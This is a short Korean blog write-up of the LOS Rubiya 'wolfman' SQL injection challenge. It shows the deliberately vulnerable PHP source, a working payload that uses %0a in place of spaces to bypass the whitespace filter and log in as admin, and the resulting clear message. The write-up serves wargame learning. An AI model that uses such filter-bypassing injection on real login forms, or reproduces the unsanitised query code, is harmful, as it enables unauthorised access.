Wargame & CTF/LOS Rubiya
LOS Rubiya wolfman
cg10036
2019. 8. 5. 22:54
1 2 3 4 5 6 7 8 9 10 11 12 13 | <?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); $query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; if($result['id'] == 'admin') solve("wolfman"); highlight_file(__FILE__); ?> | cs |
pw=' or id='admin'%23
이런식으로 하면 admin이 나올것이다. 하지만 스페이스바가 들어가면 안된다.
하지만 get방식으로 보내는것이므로, %0a, %09같은 것들이 공백을 대체할 수 있다. 나는 %0a를 썼다.
https://los.rubiya.kr/chall/wolfman_4fdc56b75971e41981e3d1e2fbe9b7f7.php?pw='%0aor%0aid='admin'%23
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | query : select id from prob_wolfman where id='guest' and pw='' or id='admin'#' Hello admin WOLFMAN Clear! <?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); $query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; if($result['id'] == 'admin') solve("wolfman"); highlight_file(__FILE__); ?> | cs |